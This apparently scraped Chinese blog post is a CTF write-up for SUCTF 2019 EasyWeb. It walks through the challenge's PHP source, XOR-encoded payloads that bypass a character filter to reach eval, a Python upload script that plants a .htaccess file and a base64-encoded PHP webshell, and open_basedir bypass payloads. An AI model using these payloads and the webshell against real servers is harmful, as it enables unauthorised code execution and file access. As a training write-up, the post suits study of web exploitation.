当前位置: 首页 > news >正文

[SUCTF 2019]EasyWeb

代码审计

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

1.count_chars() 函数
cont_chars(str, mode)
返回一个字符串,包含所有在 “Hello World!” 中使用过的不同字符(模式 3):

<?php
$str = "Hello World!";
echo count_chars($str,3);
?> 

运行结果:
!HWdelor

2.strrpos()
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)
语法
strrpos(string,find,start)
查找 “php” 在字符串中最后一次出现的位置:

<?php
echo strrpos("I love php, I love php too!","php");
?>

运行结果:19

3.mb_strpos
mb_strpos函数用于查找字符串在另一个字符串中首次出现的位置,其使用语法是
mb_strpos(string $haystack,string $needle,int $offset = 0…
haystack
要被检查的 string。
needle
在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
offset
搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计

4.exif_imagetype()
exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型
用法:
exif_imagetype(string $filename): int|false
exif_imagetype()读取图像的第一个字节并检查其签名

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
    echo 'The picture is not a gif';
}
?>

运行结果:
The picture is not a gif

解题整体思路:
传入GET型参数 _ 赋值给 $hhh ,先是strlen限制长度,然后正则过滤,然后使用count_chars函数做一个检查,最后执行eval( $hhh),显然是要通过hhh参数来执行get_the_flag函数

preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)

过滤了数字字母,绕过方法一般有异或 取反,参看p神的一些不包含数字和字母的webshell
本题把~过滤了,所以没法取反绕过
异或绕过的原理:两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可

php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$ _GET[b],由于b不受限制就可以任意传值了,不过
注意1:
在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=$ {%ff%ff%ff%ff ^ %a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${???^???}{?}();但是到了eval()函数内部就会变成 ${_GET}{?}();成功执行。

注意2:
测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如 $ {_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET[‘a’]

构造方法
首先找哪些字符可以用,打印出它们的ascii码

<?php
for($ascii=0;$ascii<256;$ascii++){
    if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) )
    {
        echo $ascii.',';
    }
}
// 33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,
// 130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,
// 149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,
// 168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,
// 187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,
// 206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,
// 225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,
// 244,245,246,247,248,249,250,251,252,253,254,255
?>

构造目标:?_=$_GET[_]();&_=phpinfo
[]可以使用{}代替,需要得到的字符就是_GET,编写python脚本:

def func(str):
    s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,
       94,123,125,128,129,130,131,132,133,134,135,136,137,138,
       139,140,141,142,143,144,145,146,147,148,149,150,151,152,
       153,154,155,156,157,158,159,160,161,162,163,164,165,166,
       167,168,169,170,171,172,173,174,175,176,177,178,179,180,
       181,182,183,184,185,186,187,188,189,190,191,192,193,194,
       195,196,197,198,199,200,201,202,203,204,205,206,207,208,
       209,210,211,212,213,214,215,216,217,218,219,220,221,222,
       223,224,225,226,227,228,229,230,231,232,233,234,235,236,
       237,238,239,240,241,242,243,244,245,246,247,248,249,250,
       251,252,253,254,255]
    for i in s:
        for j in s:
            if chr(i^j)==str and hex(i)=='0x81': #hex(i)可以指定其他任意值,只要异或出来为指定的字符即可
                #print(chr(j),chr(i))
                print(hex(j),hex(i))

string = "_GET"
for m in string:
    func(m)

得到满足条件的字符的hex编码

0xde 0x81
0xc6 0x81
0xc4 0x81
0xd5 0x81

payload:

?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=phpinfo

在这里插入图片描述
在phpinfo里找到flag了。。。
在这里插入图片描述
尝试一下另外的方法

知道方法之后就需要构造执行get_the_flag函数的异或payload:?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag

分析get_the_flag函数:

$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");

要求上传的文件后缀不能有ph

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

文件内容不能有<?
由于< script language=“php”> </ script>在php7已经不支持了,所以考虑其他方法

if(!exif_imagetype($tmp_name)) die("^_^");

检查是否是图像,可以添加幻术头GIF98a绕过

思路:文件上传绕过:上传.htaccess文件

添加GIF98a在开头会返回500状态码,参考别人的wp才知道不行,有2种绕过方法
法一.添加

#define width 1337
#define height 1337

法二:

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

这里采用法一:

#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/shell.r"

上传文件脚本:

import requests
import base64

url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"

htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")


file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)

file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)

在这里插入图片描述
上传成功,使用hackbar验证一下:
在这里插入图片描述
成功
使用蚁剑连接
在这里插入图片描述

在根目录下找到flag,但是看其他wp好像原题还有一层限制,需要绕过open_basedir,否则不能查看根目录
参考:open_basedir bypass

这里利用chdir()与ini_set()组合bypass

1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

在这里插入图片描述
在根目录找到flag
读取

1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('THis_Is_tHe_F14g'));

在这里插入图片描述

相关文章:

  • 人脸识别及检测
  • Apache Doris 系列: 基础篇-Routine Load
  • 机器学习笔记 - CRAFT(文本检测的字符区域感知)论文解读
  • 【云原生-Docker】Docker 安装 Python
  • ESP8266-Arduino编程实例-TLV493D磁传感器驱动
  • Hue在大数据生态圈的集成
  • AtCoder Beginner Contest 267 (A~D)
  • 羊了个羊游戏源码搭建开发过程
  • 基于人工蜂群算法的新型概率密度模型无人机路径规划(Matlab代码实现)
  • File Inclusion 全级别
  • 微信小程序——云开发|计费方式调整大家怎么看?
  • Github 最新霸榜,号称架构师修炼之路的“葵花宝典”限时开源
  • RFSoC应用笔记 - RF数据转换器 -07- RFSoC关键配置之RF-DAC内部解析(一)
  • 【老生谈算法】matlab实现霍夫变换算法源码——霍夫变换算法
  • 赶紧进来看看!!!你一定要会做的八道经典指针笔试题!!!
  • css的样式优先级
  • EOS是什么
  • java第三方包学习之lombok
  • Java方法详解
  • js 实现textarea输入字数提示
  • js操作时间(持续更新)
  • JS创建对象模式及其对象原型链探究(一):Object模式
  • js作用域和this的理解
  • Laravel Telescope:优雅的应用调试工具
  • Redash本地开发环境搭建
  • SOFAMosn配置模型
  • vue.js框架原理浅析
  • - 概述 - 《设计模式(极简c++版)》
  • 回顾2016
  • 聊聊spring cloud的LoadBalancerAutoConfiguration
  • 入手阿里云新服务器的部署NODE
  • 少走弯路,给Java 1~5 年程序员的建议
  • 学习使用ExpressJS 4.0中的新Router
  • 移动端唤起键盘时取消position:fixed定位
  • 从如何停掉 Promise 链说起
  • #Lua:Lua调用C++生成的DLL库
  • #宝哥教你#查看jquery绑定的事件函数
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (4)事件处理——(6)给.ready()回调函数传递一个参数(Passing an argument to the .ready() callback)...
  • (4)事件处理——(7)简单事件(Simple events)
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (笔试题)合法字符串
  • (读书笔记)Javascript高级程序设计---ECMAScript基础
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (四) 虚拟摄像头vivi体验
  • (四)Linux Shell编程——输入输出重定向
  • (转载)利用webkit抓取动态网页和链接
  • .net core webapi 大文件上传到wwwroot文件夹
  • .NET Core 和 .NET Framework 中的 MEF2
  • .NET 除了用 Task 之外,如何自己写一个可以 await 的对象?
  • .NET/C# 中你可以在代码中写多个 Main 函数,然后按需要随时切换
  • /proc/interrupts 和 /proc/stat 查看中断的情况
  • ::前边啥也没有
  • [100天算法】-不同路径 III(day 73)